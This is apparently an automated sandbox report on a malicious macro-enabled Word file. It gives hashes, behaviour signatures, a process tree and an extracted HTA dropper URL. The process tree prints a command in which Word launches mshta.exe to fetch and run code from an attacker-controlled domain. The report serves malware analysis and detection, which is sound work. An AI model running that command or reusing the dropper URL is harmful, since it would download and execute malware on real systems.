Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    03/05/2024, 05:44

General

  • Target

    0fccc1bf870df0df3b48e0b0ed50e5d5_JaffaCakes118.docm

  • Size

    53KB

  • MD5

    0fccc1bf870df0df3b48e0b0ed50e5d5

  • SHA1

    b3a442888010182a411a7b19ebc21d55da83aecc

  • SHA256

    b0e2cef91b30ab96b6893659537a44986767272dfc2438af8281455af0f892e0

  • SHA512

    99ef5241b665d99642c457dc35f19adf0666d265f73586588958fb78d1cb8c07faa3434aeab165392f2442f9d9ecd261b4580a80a0dc80d77ce4df22c1c167e8

  • SSDEEP

    768:fFenC0Szc1s8888S38R+H4Wg3K+fKLvJ8U8tzXi2CIwnQP0KkANmHquHkFdUG4oM:I1d8R+H4WgiLvJwzANQP0a6fSLfxgX

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://sukiebanieotbitesotnas.com/ANY/terx.php?utma=babetc

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0fccc1bf870df0df3b48e0b0ed50e5d5_JaffaCakes118.docm"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2336
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3052
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\System32\mshta.exe" http://sukiebanieotbitesotnas.com/ANY/terx.php?utma=babetc
        2⤵
        • Process spawned unexpected child process
        • Modifies Internet Explorer settings
        PID:1304

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      2ddb686990b2dbd3b5de819a7ec09d76

      SHA1

      df0c0ec6fab00301ab3aa3a4a35512253e5844f0

      SHA256

      b9c2295fc27042500dc8447af3d41f950552ae94a34c28489ea7d985dd0590ea

      SHA512

      dd0894a43caca83cad1db72843132fb420a8a590d2cb87ad0bc8a3f5332d581671d2d43dd69ac79b7a4dc520c18dd8542d029190d379a543cf73a8a28f78b5df

    • memory/2336-0-0x000000002FD91000-0x000000002FD92000-memory.dmp

      Filesize

      4KB

    • memory/2336-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2336-2-0x0000000070F1D000-0x0000000070F28000-memory.dmp

      Filesize

      44KB

    • memory/2336-11-0x0000000070F1D000-0x0000000070F28000-memory.dmp

      Filesize

      44KB

    • memory/2336-32-0x00000000051E0000-0x00000000052E0000-memory.dmp

      Filesize

      1024KB

    • memory/2336-33-0x00000000051E0000-0x00000000052E0000-memory.dmp

      Filesize

      1024KB

    • memory/2336-35-0x00000000051E0000-0x00000000052E0000-memory.dmp

      Filesize

      1024KB

    • memory/2336-34-0x00000000051E0000-0x00000000052E0000-memory.dmp

      Filesize

      1024KB

    • memory/2336-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB